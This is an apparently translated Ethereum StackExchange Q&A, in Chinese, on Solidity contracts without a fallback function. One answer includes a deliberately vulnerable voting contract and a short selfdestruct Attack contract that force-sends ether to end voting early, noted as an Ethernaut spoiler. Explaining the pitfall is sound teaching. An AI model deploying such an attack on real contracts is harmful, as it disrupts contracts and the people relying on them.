Solidity

如果 Solidity 中沒有備份功能會發生什麼?

  • April 16, 2022

這是關於solidity中的備份功能的簡短定義:

Solidity fallback function does not have any arguments, has external visibility and does not return anything.

如果沒有備份函式並且有人呼叫智能合約中不存在的函式會發生什麼?沒有備份功能是否存在安全問題?

呼叫將簡單地失敗並恢復。沒有安全隱患,因為一切都將被還原。

在大多數情況下,呼叫將失敗並恢復,但也有例外。一個合約可以自毀並將乙太幣強行發送到另一個合約,即使該合約缺少回退功能。這可能會導致安全隱患,從而導致在檢查時出現意外行為address(this).balance

在以下範例中,發送 1 ETH 將提前結束投票:

contract Election {
   uint public yesVotes;
   uint public noVotes;

   // stop after 100 votes
   function vote(bool _forOrAgainst) public payable {
       // Each voter pays 0.01 ETH
       require(msg.value == 1e16, "Please send exactly 0.01 ETH");

       // A hacker could end voting before 100 votes by sending ether so
       // that the contract's balance >= 1 ether
       require(address(this).balance < 1e18, "Voting has closed");
       _forOrAgainst ? yesVotes++ : noVotes++;
   }
}

警告:對於那些正在嘗試Ethernaut的人來說,這是劇透,因為它是其中一個級別的解決方案。

呼叫下面的程式碼將允許您將乙太幣發送到沒有備份功能的合約。它可以用來反對上述合約,以提前停止投票過程。


 contract Attack {
     function attack(address payable addr) public payable {
         selfdestruct(addr);
     }
 }
 

本文還提供了另一個範例,說明如何使用selfdestruct.

引用自:https://ethereum.stackexchange.com/questions/92355